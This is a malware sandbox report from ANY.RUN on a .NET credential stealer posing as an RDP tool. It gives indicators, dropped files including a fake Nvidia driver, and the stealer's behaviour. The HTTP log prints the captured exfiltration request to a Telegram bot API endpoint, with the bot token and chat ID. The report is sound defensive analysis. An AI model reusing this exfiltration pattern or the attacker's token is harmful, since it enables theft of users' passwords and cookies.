File name:

RDPAccessorV4.exe

Full analysis: https://app.any.run/tasks/c741a560-e2e2-4b4a-a064-906852beea73
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Malware Trends Tracker     >>>
Analysis date: June 21, 2024, 10:32:03
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
stealer
evasion
telegram
exfiltration
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

56A579CB88EB4BB93A45B163AB9825D8

SHA1:

5C47A2FBA8F9CA7AA9490C76E291A9B2E54C011E

SHA256:

C477B037E8FE3AB68B4C1DA6F9BFE01E9EA818A5B4F94ED9E2757E25035BE06D

SSDEEP:

98304:sQI0Qwo+UmrVkoMFhtRJ90BaZi/f11Osg1I9NL0wpGgSoE1F01IcHm28RbAHkQ8r:+Jf8qEsy03ml4TxiDC1SqOCjTsZ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • RDPAccessorV4.exe (PID: 3380)

    • Steals credentials from Web Browsers

      • Stepasha.exe (PID: 3532)

    • Actions looks like stealing of personal data

      • Stepasha.exe (PID: 3532)

    • Steals credentials

      • Stepasha.exe (PID: 3532)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • RDPAccessorV4.exe (PID: 3380)

    • Executable content was dropped or overwritten

      • RDPAccessorV4.exe (PID: 3380)

    • Reads the Internet Settings

      • RDPAccessorV4.exe (PID: 3380)
      • Stepasha.exe (PID: 3532)

    • Reads browser cookies

      • Stepasha.exe (PID: 3532)

    • Checks for external IP

      • Stepasha.exe (PID: 3532)

    • Loads DLL from Mozilla Firefox

      • Stepasha.exe (PID: 3532)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • Stepasha.exe (PID: 3532)

    • Reads settings of System Certificates

      • Stepasha.exe (PID: 3532)

  • INFO

    • Create files in a temporary directory

      • RDPAccessorV4.exe (PID: 3380)
      • Stepasha.exe (PID: 3532)

    • Reads the computer name

      • RDPAccessorV4.exe (PID: 3380)
      • Stepasha.exe (PID: 3532)
      • MotherRussia.exe (PID: 3252)

    • Checks supported languages

      • RDPAccessorV4.exe (PID: 3380)
      • Stepasha.exe (PID: 3532)
      • MotherRussia.exe (PID: 3252)

    • Reads the machine GUID from the registry

      • RDPAccessorV4.exe (PID: 3380)
      • Stepasha.exe (PID: 3532)
      • MotherRussia.exe (PID: 3252)

    • Reads Environment values

      • Stepasha.exe (PID: 3532)

    • Disables trace logs

      • Stepasha.exe (PID: 3532)

    • Creates files or folders in the user directory

      • Stepasha.exe (PID: 3532)

    • Reads CPU info

      • Stepasha.exe (PID: 3532)

    • Reads the software policy settings

      • Stepasha.exe (PID: 3532)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (45.1)
.exe | Win32 Executable MS Visual C++ (generic) (19.2)
.exe | Win64 Executable (generic) (17)
.scr | Windows screen saver (8)
.dll | Win32 Dynamic Link Library (generic) (4)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2024:06:08 13:28:16+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 11
CodeSize: 9217024
InitializedDataSize: 174592
UninitializedDataSize: -
EntryPoint: 0x8cc21e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 0.0.0.0
ProductVersionNumber: 0.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
FileDescription:
FileVersion: 0.0.0.0
InternalName: payload.exe
LegalCopyright:
OriginalFileName: payload.exe
ProductVersion: 0.0.0.0
AssemblyVersion: 0.0.0.0
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
3
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start rdpaccessorv4.exe stepasha.exe motherrussia.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3252"C:\Users\admin\AppData\Local\Temp\MotherRussia.exe" C:\Users\admin\AppData\Local\Temp\MotherRussia.exe—RDPAccessorV4.exe
User:
admin
Company:
[ RDP-ACCESSOR V4 ] - [ by k3rnel-dev ]
Integrity Level:
MEDIUM
Description:
[ RDP-ACCESSOR V4 ] - [ by k3rnel-dev ]
Exit code:
0
Version:
3.3.0.1
Modules
Images
c:\users\admin\appdata\local\temp\motherrussia.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
3380"C:\Users\admin\AppData\Local\Temp\RDPAccessorV4.exe" C:\Users\admin\AppData\Local\Temp\RDPAccessorV4.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
0.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\rdpaccessorv4.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
3532"C:\Users\admin\AppData\Local\Temp\Stepasha.exe" C:\Users\admin\AppData\Local\Temp\Stepasha.exe
RDPAccessorV4.exe
User:
admin
Company:
Nvidia
Integrity Level:
MEDIUM
Description:
GeForce Drivers
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\stepasha.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
Total events
8 648
Read events
8 614
Write events
34
Delete events
0

Modification events

(PID) Process:(3380) RDPAccessorV4.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3380) RDPAccessorV4.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3380) RDPAccessorV4.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3380) RDPAccessorV4.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3532) Stepasha.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Stepasha_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(3532) Stepasha.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Stepasha_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(3532) Stepasha.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Stepasha_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(3532) Stepasha.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Stepasha_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(3532) Stepasha.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Stepasha_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(3532) Stepasha.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Stepasha_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
2
Suspicious files
9
Text files
5
Unknown types
2

Dropped files

PID
Process
Filename
Type
3532Stepasha.exeC:\Users\admin\AppData\Local\Temp\tmpEED1.tmp.tmpdb —
MD5:—
SHA256:—
3380RDPAccessorV4.exeC:\Users\admin\AppData\Local\Temp\Stepasha.exeexecutable
MD5:365BF209A1D5EB01EB38586C51F47817
SHA256:BB72A4C76034BD0B757B6A1E0C8265868563D11271A22D4AE26CB9FE3584A07D
3532Stepasha.exeC:\Users\admin\AppData\Local\Temp\tmpF195.tmp.datsqlite
MD5:03EF1C0012EE77CDA2C2CB36DFBDA123
SHA256:800D734016D8FBCDE263D8CD2411167406C544FC090A5DCBD2D374CABF918B86
3532Stepasha.exeC:\Users\admin\AppData\Local\Temp\tmpF0E7.tmp.datsqlite
MD5:F47EB60CDF981C17722D0CE740129927
SHA256:0210071DF12CA42D70DCB679926668AE072264705AC139A24F94BBC5A129DD8F
3532Stepasha.exeC:\Users\admin\AppData\Local\44_23\Passwords.txttext
MD5:A37DD22710F86F9D5C6809086C5A4AB6
SHA256:185E064F80DD71863EE5E1B224ECC21EC30B9CFBF0BC24891AFDB1CB8A05A29B
3532Stepasha.exeC:\Users\admin\AppData\Local\Temp\tmpF0C7.tmp.datsqlite
MD5:52E51471E9281235323F633CD0DEA56C
SHA256:147F3137B387FE4FBE3215B7864568404580A799D031009FE9C718F4C2EF87D0
3532Stepasha.exeC:\Users\admin\AppData\Local\Temp\tmpF1C5.tmp.datsqlite
MD5:03EF1C0012EE77CDA2C2CB36DFBDA123
SHA256:800D734016D8FBCDE263D8CD2411167406C544FC090A5DCBD2D374CABF918B86
3532Stepasha.exeC:\Users\admin\AppData\Local\Temp\tmpEEF1.tmp.datbinary
MD5:F47EB60CDF981C17722D0CE740129927
SHA256:0210071DF12CA42D70DCB679926668AE072264705AC139A24F94BBC5A129DD8F
3380RDPAccessorV4.exeC:\Users\admin\AppData\Local\Temp\MotherRussia.exeexecutable
MD5:08C3CB87AA0BF981A3503C116A952B04
SHA256:AE25ED76F7AA901495537C2600BF149F6A56A42F28DC8FC9C6ED6C802CE0422E
3532Stepasha.exeC:\Users\admin\AppData\Local\Temp\tmpF1F5.tmp.datsqlite
MD5:0F653EDF207BB943166A7EED331F14AD
SHA256:E4D518E335DF25562B0570F4F3FC6F39BF63F7D84805AECD485C5798671EA3D8
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
10
DNS requests
5
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3532
Stepasha.exe
GET
200
208.95.112.1:80
http://ip-api.com/xml/
unknown
—
—
unknown
1060
svchost.exe
GET
304
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?d28214a7488afd03
unknown
—
—
unknown
1372
svchost.exe
GET
304
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?33775f6043c93e33
unknown
—
—
unknown
—
—
POST
200
149.154.167.99:443
https://api.telegram.org/bot7111654667:AAFkYkvnCsb8YVJsK4iKBRAyyQO9vyaJa7U/sendDocument?chat_id=1435200072&caption=%0A%0A%20%20%20%20%F0%9F%8D%AA%20%20NEW%20LOGS%20%20Detected!%20%E2%9C%85%20%20%0A%20%20%F0%9F%90%A6%20%20%20Angry%20Stealer%20%0A%E2%9A%A1This%20is%20a%20Angry%20Stealer%20By%20@InfoSecSpy%20,%20%0A%F0%9F%91%A4devloper%20-%20t.me/Xrebone%0A%F0%9F%93%A6Log%20-%20%20admin%0A%F0%9F%94%8DIP:%2084.17.48.114%20Germany%0A%F0%9F%92%BBDesktop%20Windows%207%20Professional%20(32%20Bit)%0A%F0%9F%94%91Passwords%20-%200%0A%F0%9F%8D%AACookies%20-%200%0A%F0%9F%95%91History%20-%200%0A%F0%9F%93%9DAutoFills%20-%200%0A%F0%9F%92%B3CC%20-%200%0A%F0%9F%93%81Grabbed%20Files%20-%200%0A%F0%9F%9B%91Software%20-%0A%20domain%20-%0A%20
unknown
—
1.10 Kb
—
—
—
GET
200
51.124.78.146:443
https://settings-win.data.microsoft.com/settings/v2.0/telemetry/ASM-WindowsDefault?os=windows&deviceId=725447E0-4382-4FE4-8F53-FE4EDDD9A698&sampleId=47632120&sku=48&osVer=6.1.7601.24546.x86fre.win7sp1_ldr_escrow.200102-1707&locale=en-US
unknown
binary
56.2 Kb
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1060
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3532
Stepasha.exe
208.95.112.1:80
ip-api.com
TUT-AS
US
unknown
1372
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3532
Stepasha.exe
149.154.167.220:443
api.telegram.org
Telegram Messenger Inc
GB
unknown
1372
svchost.exe
199.232.214.172:80
ctldl.windowsupdate.com
FASTLY
US
unknown
1060
svchost.exe
199.232.214.172:80
ctldl.windowsupdate.com
FASTLY
US
unknown

DNS requests

Domain
IP
Reputation
ip-api.com
  • 208.95.112.1
shared
api.telegram.org
  • 149.154.167.220
shared
settings-win.data.microsoft.com
  • 4.231.128.59
whitelisted
ctldl.windowsupdate.com
  • 199.232.214.172
  • 199.232.210.172
whitelisted

Threats

PID
Process
Class
Message
3532
Stepasha.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup ip-api.com
1060
svchost.exe
Misc activity
ET HUNTING Telegram API Domain in DNS Lookup
3532
Stepasha.exe
Misc activity
ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)
3532
Stepasha.exe
Misc activity
ET HUNTING Telegram API Certificate Observed
—
—
Unknown Traffic
ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW)
—
—
Successful Credential Theft Detected
STEALER [ANY.RUN] Clear Text Login Exfiltration Atempt
—
—
Successful Credential Theft Detected
STEALER [ANY.RUN] Clear Text Password Exfiltration Atempt
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
RDPAccessorV4.exe